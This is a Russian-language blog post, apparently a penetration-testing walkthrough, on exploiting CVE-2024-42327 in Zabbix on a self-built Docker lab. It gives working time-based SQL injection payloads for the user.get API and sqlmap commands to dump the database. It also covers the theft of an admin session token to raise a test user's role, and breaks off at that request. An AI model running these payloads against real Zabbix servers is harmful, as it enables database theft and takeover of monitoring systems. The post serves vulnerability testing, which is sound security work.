{"id":446455,"date":"2025-01-29T09:01:56","date_gmt":"2025-01-29T09:01:56","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=446455"},"modified":"-0001-11-30T00:00:00","modified_gmt":"2025-01-29T09:01:56","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=446455","title":{"rendered":"\u0420\u0430\u0437\u0431\u043e\u0440 CVE-2024-42327, Zabbix<\/span>"},"content":{"rendered":"
<\/div>\n
\n
\n
\n
\n

\u0412 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\u044b\u0434\u0430\u043b\u0430\u0441\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u043e\u0432\u044b\u0440\u044f\u0442\u044c\u0441\u044f \u0441 SQL injection \u0432 Zabbix ( \u2014 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u0432 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0441\u0435\u0442\u0438, \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0412\u043b\u0430\u0434\u044b\u0448\u0435\u0432\u044b\u043c<\/em>).<\/p>\n

\u0423\u0432\u0438\u0434\u0435\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043d\u0430 \u044d\u0442\u0443 \u0442\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043f\u0438\u0441\u0430\u043b \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a, \u0432\u043a\u0440\u0430\u0442\u0446\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041e\u0433\u0440\u043e\u043c\u043d\u0430\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u043e\u043c\u0443 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 (\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430\u043c)<\/s>, \u043e\u0434\u043d\u0430\u043a\u043e \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0435 \u043e\u0431\u043e\u0448\u043b\u043e\u0441\u044c.<\/p>\n

\u0421\u0442\u0430\u0442\u044c\u044f — \u0431\u043e\u043b\u044c\u0448\u0435 \u043a\u0430\u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0421 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e Burp, \u043d\u043e \u0438 sqlmap, API \u0441\u0430\u043c\u043e\u0433\u043e Zabbix’a \u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b.<\/p>\n

\u041f\u043e\u0435\u0445\u0430\u043b\u0438!<\/p>\n

SQL injection \u0432 API, edpoint user.get<\/strong>
\u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Zabbix
6.0.0 — 6.0.31 (\u0442\u0430\u043a \u0436\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0433\u0434\u0435-\u0442\u043e \u0432\u0438\u0434\u0435\u043b, \u0447\u0442\u043e \u0434\u043e 6.0.36 \u0432\u0435\u0440\u0441\u0438\u0438)<\/s>
6.4.0 — 6.4.16
7.0.0<\/p>\n

\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430<\/h3>\n

\u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 zabbix \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0439 \u0434\u043b\u044f \u043d\u0430\u0441 \u0432\u0435\u0440\u0441\u0438\u0438 (ubuntu-6.0.1)<\/p>\n

sudo apt install docker docker.io docker-compose<\/code>
docker network create --subnet 172.20.0.0\/16 --ip-range 172.20.240.0\/20 zabbix-net<\/code>
docker run --name mysql-server -t \\<\/code>
-e MYSQL_DATABASE=\"zabbix\" \\<\/code>
-e MYSQL_USER=\"zabbix\" \\<\/code>
-e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code>
-e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code>
--network=zabbix-net \\<\/code>
--restart unless-stopped \\<\/code>
-d mysql:8.0 \\<\/code>
--character-set-server=utf8 --collation-server=utf8_bin \\<\/code>
--default-authentication-plugin=mysql_native_password<\/code>
docker run --name zabbix-java-gateway -t \\<\/code>
--network=zabbix-net \\<\/code>
--restart unless-stopped \\<\/code>
-d zabbix\/zabbix-java-gateway:ubuntu-6.0.1<\/code>
docker run --name zabbix-server-mysql -t \\<\/code>
-e DB_SERVER_HOST=\"mysql-server\" \\<\/code>
-e MYSQL_DATABASE=\"zabbix\" \\<\/code>
-e MYSQL_USER=\"zabbix\" \\<\/code>
-e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code>
-e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code>
-e ZBX_JAVAGATEWAY=\"zabbix-java-gateway\" \\<\/code>
--network=zabbix-net \\<\/code>
-p 10051:10051 \\<\/code>
--restart unless-stopped \\<\/code>
-d zabbix\/zabbix-server-mysql:ubuntu-6.0.1<\/code>
docker run --name zabbix-web-nginx-mysql -t \\<\/code>
-e ZBX_SERVER_HOST=\"zabbix-server-mysql\" \\<\/code>
-e DB_SERVER_HOST=\"mysql-server\" \\<\/code>
-e MYSQL_DATABASE=\"zabbix\" \\<\/code>
-e MYSQL_USER=\"zabbix\" \\<\/code>
-e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code>
-e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code>
--network=zabbix-net \\<\/code>
-p 80:8080 \\<\/code>
--restart unless-stopped \\<\/code>
-d zabbix\/zabbix-web-nginx-mysql:ubuntu-6.0.1<\/code><\/p>\n

Default web login and pass: Admin\/zabbix<\/p>\n

\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043a\u0440\u0435\u0434\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u043c\u0435\u044e\u0442 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0432 Zabbix.<\/strong>
\u0414\u043b\u044f \u0447\u0438\u0441\u0442\u043e\u0442\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u0443 «Users groups». \u0413\u0440\u0443\u043f\u043f\u0430 «Guest» \u043d\u0430\u043c \u043d\u0435 \u043f\u043e\u0434\u043e\u0439\u0434\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a «Fronted access» \u0443 \u043d\u0435\u0435 \u0432 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0430 «Internal». \u0422\u0430\u043a \u0436\u0435 \u0431\u044b \u043d\u0430\u043c \u043f\u043e\u0434\u043e\u0448\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 «Zabbix Administrators» & \u0433\u0440\u0443\u043f\u043f\u0430 \u0434\u0435\u0431\u0430\u0433\u0430.<\/p>\n

<\/figure>\n

\u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0440\u043e\u043b\u0438. \u041e\u0441\u0442\u0430\u0432\u0438\u043c \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a API. (\u041f\u043e \u0434\u0435\u0444\u043e\u043b\u0442\u0443 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043a\u0440\u0435\u0434\u044b \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u043b\u0438\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c)<\/p>\n

<\/figure>\n

\u0422\u0435\u0441\u0442\u043e\u0432\u044b\u0435 \u043a\u0440\u0435\u0434\u044b:
test_cve
p2ssw0rd123<\/p>\n

<\/figure>\n

\u0422\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/h3>\n

Burp<\/h4>\n

\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u0441\u0442\u0435\u043d\u0434\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430. \u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438
\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0442\u043a\u0440\u043e\u0435\u043c Burp \u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u043c\u0441\u044f \u043d\u0430 api_jsonrpc.php \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0442\u043e\u043a\u0435\u043d\u0430<\/p>\n

{<\/code>
\"jsonrpc\":\"2.0\",<\/code>
\"method\":\"user.login\",<\/code>
\"params\":{<\/code>
\"username\":\"test_cve\",<\/code>
\"password\":\"p2ssw0rd123\"<\/code>
},<\/code>
\"id\":1<\/code>
}<\/code><\/p>\n

<\/figure>\n

\u0414\u0430\u043b\u0435\u0435 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u043f\u0440\u043e SQLi Time-based blind \u0432 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0435 user.get, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u043a \u043d\u0435\u043c\u0443:
{<\/code>
\"jsonrpc\": \"2.0\",<\/code>
\"method\": \"user.get\",<\/code>
\"params\": {<\/code>
\"selectRole\": [<\/code>
\"roleid\",<\/code>
\"name\",<\/code>
\"type\",<\/code>
\"readonly AND (SELECT(SLEEP(5)))\"<\/code>
],<\/code>
\"userids\": [<\/code>
\"1\",<\/code>
\"2\"<\/code>
]<\/code>
},<\/code>
\"id\": 1,<\/code>
\"auth\": \"d5a70c4b476e176ad5891ad1a2341e1c\"<\/code>
}<\/code><\/p>\n

<\/figure>\n

\u0412\u044b\u0445\u043e\u0434\u0438\u0442 \u043d\u0430\u0448 payload \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442.
\u0414\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u0435\u043c \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0435\u0439\u043b\u043e\u0430\u0434 AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE '_')<\/code> \u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0432 \u043d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0438 \u0411\u0414.
\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 Intruder \u0438 \u043f\u0435\u0440\u0435\u0431\u0438\u0440\u0430\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b, \u043f\u043e\u043a\u0430 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0411\u0414
Intruder -> Sniper attack -> Payload type: Brute force -> Character set (\u0446\u0438\u0444\u0440\u044b\/\u0431\u0443\u043a\u0432\u044b) -> min\\max lenght =1 -> \u0412\u044b\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0441\u0438\u043c\u0432\u043e\u043b \u043f\u043e\u0438\u0441\u043a\u0430<\/p>\n

<\/figure>\n

SQLmap<\/h4>\n

\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u044d\u0442\u043e \u0432\u0441\u0435 \u043e\u0447\u0435\u043d\u044c \u043a\u0440\u0443\u0442\u043e, \u043d\u043e \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e.
\u0421\u043a\u043e\u043f\u0438\u0440\u0443\u0435\u043c \u0437\u0430\u043f\u0440\u043e\u0441 \u0438\u0437 \u0440\u0435\u043f\u0438\u0442\u0435\u0440\u0430 \u0432 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 sqli_zabb_post_req.txt \u0438 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043a\u043e\u0440\u043c\u0438\u0442\u044c sqlmap, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0431\u0430\u043d\u043d\u0435\u0440:
SQLMap \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u043b\u0443\u0447\u0448\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u043d\u043e \u043d\u0430 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u043c \u0441\u0442\u0435\u043d\u0434\u0435 \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e.
sqlmap -r sqli_zabb_post_req.txt —technique=T -b —time-sec 3<\/strong><\/p>\n

<\/figure>\n

\u041e\u0442\u043b\u0438\u0447\u043d\u043e, \u0442\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0431\u0438\u0442\u044c \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0447\u0435\u0447\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u0432 \u0442\u0438\u043f \u0411\u0414 \u0438 \u0438\u0434\u0442\u0438 \u0434\u0430\u043b\u044c\u0448\u0435. \u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0411\u0414 \u043d\u0430\u043c \u0442\u043e\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e «zabbix» \u0438\u0437 \u0442\u0435\u0441\u0442\u0430 \u0441 Burp.
\u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u044c \u0441 \u0411\u0414 \u0432\u0441\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e:
sqlmap -r sqli_zabb_post_req.txt --technique=T --dbms MySQL -D zabbix --time-sec 3 --all<\/code>
\u041d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u043e. \u041a\u0430\u043a \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u043a\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0438\u0441\u043a\u0430.<\/p>\n

API zabbix + scripts python or curl<\/h4>\n

\u0410 \u043f\u043e\u043a\u0430 sqlmap \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u043e\u0434\u043e\u0439\u0442\u0438 \u043a \u0432\u043e\u043f\u0440\u043e\u0441\u0443 \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b.
\u0421\u043e\u0441\u0442\u0430\u0432\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441, \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0435\u0440\u0441\u0438\u0438 Zabbix:<\/p>\n

\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0432 \u0441\u043b\u0435\u0433\u043a\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u043f\u043e API \u043d\u0430\u0448\u0435\u043b \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441
\u0417\u0430\u043f\u0440\u043e\u0441 \u0432\u0435\u0440\u0441\u0438\u0438
(linux):
curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"apiinfo.version\",\"params\":[],\"id\":1}'<\/code>
(windows):
curl -X POST -k https:\/\/ip_address\/api_jsonrpc.php -H \"Content-Type: application\/json\" -d \"{\\\"jsonrpc\\\":\\\"2.0\\\",\\\"method\\\":\\\"apiinfo.version\\\",\\\"params\\\":[],\\\"id\\\":1}\"<\/code><\/p>\n

\"\u0412<\/p>\n
\u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 API \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d, \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Zabbix \u0431\u0435\u0437 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445<\/figcaption><\/div>\n<\/figure>\n

\u0417\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0432\u0445\u043e\u0434 API:
curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.login\",\"params\":{\"username\":\"test_cve\",\"password\":\"p2ssw0rd123\"},\"id\":1}'
<\/code>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u043d\u0430\u0448\u0435\u043b PoC \u0434\u043e RCE
\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: <\/em>https:\/\/github.com\/BridgerAlderson\/Zabbix-CVE-2024-42327-SQL-Injection-RCE<\/em><\/a>
\u041e\u0434\u043d\u0430\u043a\u043e \u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, RCE \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c, \u0432\u0441\u0435 \u0436\u0435 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u044c session token \u0430\u0434\u043c\u0438\u043d\u0430.
\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0443\u0434\u0430\u043b\u0438\u043c \u0441\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043b\u0438\u0448\u043d\u0435\u0435 (\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0440\u0435\u0432 \u0448\u0435\u043b\u0430, \u0432\u0432\u043e\u0434 \u043b.\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u043b.\u043f\u043e\u0440\u0442\u0430).
\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0441 \u0445\u043e\u0441\u0442\u0430, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0430 \u0435\u0441\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (\u0438\u0445 \u043c\u0438\u043d\u0438\u043c\u0443\u043c) \u0438 Python.<\/p>\n

\u0414\u0432\u0438\u0433\u0430\u0435\u043c\u0441\u044f \u0434\u0430\u043b\u044c\u0448\u0435. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0430 \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e API, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0432\u0435\u0431 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Zabbix’a.<\/p>\n

\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0438 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0447\u0435\u0440\u0435\u0437 API<\/h3>\n

\u041f\u043e\u043a\u043e\u043f\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u043d\u0430\u0448\u0435\u043b \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f
\u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438:
curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"1a53530682a7722fba0d6633e98ab64b\",\"id\":1}' | grep \"test_cve\"<\/code> <\/p>\n

<\/figure>\n

\u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u044c userid \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f «test_cve» \u0438 \u0435\u0433\u043e roleid (userid:3 & roleid:5)
\u0418 \u0432 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 (userid:1 & roleid:3)<\/p>\n

<\/figure>\n

\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f
\u0417\u0430\u043f\u0440\u043e\u0441 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f auth \u0442\u043e\u043a\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440):
